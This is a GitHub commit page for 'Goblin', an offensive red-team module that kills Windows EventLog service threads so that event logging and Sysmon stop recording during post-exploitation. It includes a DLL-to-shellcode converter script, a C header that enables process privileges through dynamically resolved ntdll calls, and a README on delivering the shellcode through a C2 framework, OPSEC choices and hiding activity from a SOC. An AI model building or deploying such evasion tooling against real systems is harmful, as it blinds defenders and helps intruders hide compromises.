-
Notifications
You must be signed in to change notification settings - Fork 105
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
slaeryan
authored and
slaeryan
committed
Sep 20, 2020
0 parents
commit 1b19b50
Showing
17 changed files
with
1,209 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
See Releases section |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
# Taken from sRDI project | ||
|
||
import argparse | ||
from ShellcodeRDI import * | ||
|
||
__version__ = '1.2' | ||
|
||
def main(): | ||
parser = argparse.ArgumentParser(description='RDI Shellcode Converter', conflict_handler='resolve') | ||
parser.add_argument('-v', '--version', action='version', version='%(prog)s Version: ' + __version__) | ||
parser.add_argument('input_dll', help='DLL to convert to shellcode') | ||
parser.add_argument('-f', '--function-name', dest='function_name', help='The function to call after DllMain', default='SayHello') | ||
parser.add_argument('-u', '--user-data', dest='user_data', help='Data to pass to the target function', default='dave') | ||
parser.add_argument('-c', '--clear-header', dest='clear_header', action='store_true', help='Clear the PE header on load') | ||
parser.add_argument('-i', '--obfuscate-imports', dest='obfuscate_imports', action='store_true', help='Randomize import dependency load order', default=False) | ||
parser.add_argument('-d', '--import-delay', dest='import_delay', help='Number of seconds to pause between loading imports', type=int, default=0) | ||
arguments = parser.parse_args() | ||
|
||
input_dll = arguments.input_dll | ||
output_bin = input_dll.replace('.dll', '.bin') | ||
|
||
print('Creating Shellcode: {}'.format(output_bin)) | ||
dll = open(arguments.input_dll, 'rb').read() | ||
|
||
flags = 0 | ||
|
||
if arguments.clear_header: | ||
flags |= 0x1 | ||
|
||
if arguments.obfuscate_imports: | ||
flags = flags | 0x4 | arguments.import_delay << 16 | ||
|
||
converted_dll = ConvertToShellcode(dll, HashFunctionName(arguments.function_name), arguments.user_data.encode(), flags) | ||
|
||
with open(output_bin, 'wb') as f: | ||
f.write(converted_dll) | ||
|
||
if __name__ == '__main__': | ||
main() |
Large diffs are not rendered by default.
Oops, something went wrong.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
# Goblin | ||
[![](https://img.shields.io/badge/Category-Defense%20Evasion-E5A505?style=flat-square)]() [![](https://img.shields.io/badge/Language-C%20%2f%20C++%20%2f%20Python3-E5A505?style=flat-square)]() | ||
|
||
## Summary | ||
`Goblin` is a module to enumerate all the threads of the EventLog Service Module(`wevtsvc.dll`) and kill them in an effort to disable EventLog service from registering any new events. Disabling Windows Event Logging and Sysmon logging paves the way for operators to perform Post-Exploitation activities in a safe and stealthy manner. | ||
|
||
![wevtsvc.dll Threads](Screenshots/evtlog-threads.png "wevtsvc.dll Threads") | ||
|
||
Additionally, it also allows us to "revive" the EventLog service again after we are done with Post-Ex activities. | ||
|
||
## Usage | ||
### Using the pre-built binary | ||
Grab it from the `Releases` section. | ||
### Compiling yourself | ||
Make sure you have a working VC++ 2019 dev environment set up beforehand and `Git` installed. Execute the following from a x64 Developer Command Prompt. | ||
``` | ||
1. git clone https://github.com/slaeryan/AQUARMOURY | ||
2. cd AQUARMOURY/Goblin | ||
3. compile64.bat | ||
``` | ||
|
||
`goblin_x64.dll` is the name of the module. It is converted to a PIC blob(shellcode) with the help of [sRDI](https://github.com/monoxgas/sRDI) courtesy of [@monoxgas](https://twitter.com/monoxgas?lang=en) and delivered straight to memory via your favourite C2 framework for inline execution/local execution in the implant process. | ||
|
||
When `Goblin` module is executed on a host, it primarily has one of these two objectives to accomplish: | ||
1. Kill `wevtsvc.dll` threads if they are running | ||
2. If `wevtsvc.dll` threads are not running, "revive" the EventLog service | ||
|
||
Ergo, run the module once to disable event logging and once again if you wish to re-enable event logging without requiring a reboot. | ||
|
||
In case your C2 framework does not support inline execution of shellcode for stability issues, you can also use the `Fork&Run` feature but the former is preferred over the latter due to OPSEC concerns. | ||
|
||
Keep in mind that this capability is meant to be run from an **Elevated** context and will not work if the process token does not have `SeDebugPrivilege`. | ||
|
||
## OPSEC concerns | ||
This tool is inspired from the great [Invoke-Phant0m](https://github.com/hlldz/Invoke-Phant0m) by [Halil Dalabasmaz](https://twitter.com/hlldz). | ||
|
||
So why not use PowerShell? | ||
|
||
Because, using PowerShell might not be the most OPSEC-safe way of doing this in 2020. There are numerous telling events generated by just running `Invoke-Phant0m` on a host from Enhanced PowerShell logging to Process Access Event(Sysmon Event ID 10). | ||
|
||
Refer to [1](https://twitter.com/inzlain/status/867172350457925632/photo/1) and [2](https://malwarenailed.blogspot.com/2017/10/update-to-hunting-mimikatz-using-sysmon.html) for additional information on how to detect `Invoke-Phant0m`. | ||
|
||
Enter Goblin. | ||
|
||
![Goblin Overview](Screenshots/overview.png "Goblin Overview") | ||
|
||
The first `notepad.exe` was started before running `Goblin` module on host and hence reported. The second one was launched after killing the EventLog service module threads and as expected the process creation event(Sysmon Event ID 1) never showed up in Sysmon logs. Note the time difference underlined in red, operators were successfuly able to conduct Post-Ex activities during this time without any of it showing up in Event Logs or being forwarded to SOC/SIEM. | ||
|
||
After conducting Post-Exploitation we decided to enable logging again so as not to raise questions as to why a host has stopped sending events altogether to SOC. | ||
|
||
So we run the tool again to "revive" the EventLog service. What this does under the hood is kill the process hosting the service(`svchost.exe`) and start the service again. | ||
As is evident from the screenshot, this generates **two** potentially telling events which might give us away. | ||
|
||
Key Takeaways: | ||
1) **Killing the threads** do not report any kind of additional event itself so it should be **OPSEC-safe** compared to **restarting the EventLog service** which is **noisy** and will report additional events providing Blue-teams an oppurtunity to detect us. | ||
2) While the `wevtsvc` threads are killed, the host will **not be reporting/forwarding any events** to SOC/SIEM which may or may not be noticed and alerted, ergo exercise caution. | ||
3) This will not stop PSPs relying on ETW Tracing to detect malicious activity. For that we need to hook `NtTraceEvent` syscall from Kernel-mode(Ring-0). | ||
|
||
For a more elegant solution that allows filtering of events reported, see [@bats3c](https://twitter.com/_batsec_) work on [EvtMute](https://github.com/bats3c/EvtMute). | ||
|
||
## Detection | ||
![CAPA Scan](Screenshots/capa.png "CAPA Scan") | ||
Here is a mandatory [CAPA](https://github.com/fireeye/capa) scan result on the `Goblin` DLL. | ||
|
||
![Detection](Screenshots/detection.png "Detection") | ||
And here is an additional event reported as a result of "reviving" the EventLog service(System Event ID 7031) | ||
|
||
Note that by killing the EventLog service threads, **NO** additional events show up in the Event Logs whatsoever. Detection from event logs is possible iff operator has restarted the service. | ||
|
||
## Credits | ||
1. This tool was inspired by [@spotheplanet](https://twitter.com/spotheplanet) lab on [Disabling Windows Event Logs by Suspending EventLog Service Threads](https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads). Although, suspending/resuming threads do not work in practice because all the events are going to be written to the EventLog once the threads are resumed, it is an excellent post that explains in great detail the process of finding `wevtsvc.dll` threads. The code and algorithm is hacked from the post and I'd highly recommend giving it a read. | ||
2. [https://artofpwn.com/phant0m-killing-windows-event-log.html](https://artofpwn.com/2017/06/05/phant0m-killing-windows-event-log.html) | ||
3. [@dtm](https://twitter.com/0x00dtm) for first bringing this to my attention while discussing ways to evade Sysmon. | ||
4. As usual, [@reenz0h](https://twitter.com/Sektor7Net) and [RTO: MalDev course](https://institute.sektor7.net/red-team-operator-malware-development-essentials) for the templates that I keep using to this date. | ||
|
||
## Author | ||
Upayan ([@slaeryan](https://twitter.com/slaeryan)) [[slaeryan.github.io](https://slaeryan.github.io)] | ||
|
||
## License | ||
All the code included in this project is licensed under the terms of the GNU GPLv2 license. | ||
|
||
# | ||
|
||
[![](https://img.shields.io/badge/slaeryan.github.io-E5A505?style=flat-square)](https://slaeryan.github.io) [![](https://img.shields.io/badge/twitter-@slaeryan-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/slaeryan) [![](https://img.shields.io/badge/linkedin-@UpayanSaha-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/in/upayan-saha-404881192/) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,87 @@ | ||
#pragma once | ||
|
||
#include <Windows.h> | ||
|
||
// Constants | ||
// ------------------------------------------------------------------------ | ||
|
||
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) | ||
#define STATUS_SUCCESS 0 | ||
|
||
// Function prototypes | ||
// ------------------------------------------------------------------------ | ||
|
||
typedef NTSTATUS(NTAPI* _NtOpenProcessToken)( | ||
IN HANDLE ProcessHandle, | ||
IN ACCESS_MASK DesiredAccess, | ||
OUT PHANDLE TokenHandle | ||
); | ||
|
||
typedef NTSTATUS(NTAPI* _NtAdjustPrivilegesToken)( | ||
IN HANDLE TokenHandle, | ||
IN BOOLEAN DisableAllPrivileges, | ||
IN PTOKEN_PRIVILEGES TokenPrivileges, | ||
IN ULONG PreviousPrivilegesLength, | ||
OUT PTOKEN_PRIVILEGES PreviousPrivileges OPTIONAL, | ||
OUT PULONG RequiredLength OPTIONAL | ||
); | ||
|
||
typedef BOOL (WINAPI* _LookupPrivilegeValueA)( | ||
LPCSTR lpSystemName, | ||
LPCSTR lpName, | ||
PLUID lpLuid | ||
); | ||
|
||
// To enable a privilege by its constant | ||
// ------------------------------------------------------------------------ | ||
|
||
BOOL enable_privilege(LPCTSTR name) { | ||
// Dynamically resolve the API functions from Ntdll.dll | ||
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); | ||
|
||
_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)GetProcAddress(ntdll, "NtOpenProcessToken"); | ||
if (NtOpenProcessToken == NULL) { | ||
return FALSE; | ||
} | ||
|
||
_NtAdjustPrivilegesToken NtAdjustPrivilegesToken = (_NtAdjustPrivilegesToken)GetProcAddress(ntdll, "NtAdjustPrivilegesToken"); | ||
if (NtAdjustPrivilegesToken == NULL) { | ||
return FALSE; | ||
} | ||
|
||
// Dynamically resolve the API function from Advapi32.dll | ||
HMODULE advapi32 = LoadLibraryA("Advapi32.dll"); | ||
|
||
_LookupPrivilegeValueA LookupPrivilegeValueA = (_LookupPrivilegeValueA)GetProcAddress(advapi32, "LookupPrivilegeValueA"); | ||
if (LookupPrivilegeValueA == NULL) | ||
return FALSE; | ||
|
||
// Init local variables | ||
HANDLE hToken; | ||
LUID luid; | ||
TOKEN_PRIVILEGES TokenPrivileges = { 0 }; | ||
|
||
// Enable the privilege | ||
NTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken); | ||
if (status != STATUS_SUCCESS) { | ||
return FALSE; | ||
} | ||
|
||
if(!LookupPrivilegeValueA(NULL, name, &luid)) { | ||
CloseHandle(hToken); | ||
return FALSE; | ||
} | ||
|
||
TokenPrivileges.PrivilegeCount = 1; | ||
TokenPrivileges.Privileges[0].Luid = luid; | ||
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | ||
|
||
status = NtAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); | ||
if (status != STATUS_SUCCESS) { | ||
CloseHandle(hToken); | ||
return FALSE; | ||
} | ||
|
||
CloseHandle(hToken); | ||
return TRUE; | ||
} |
Oops, something went wrong.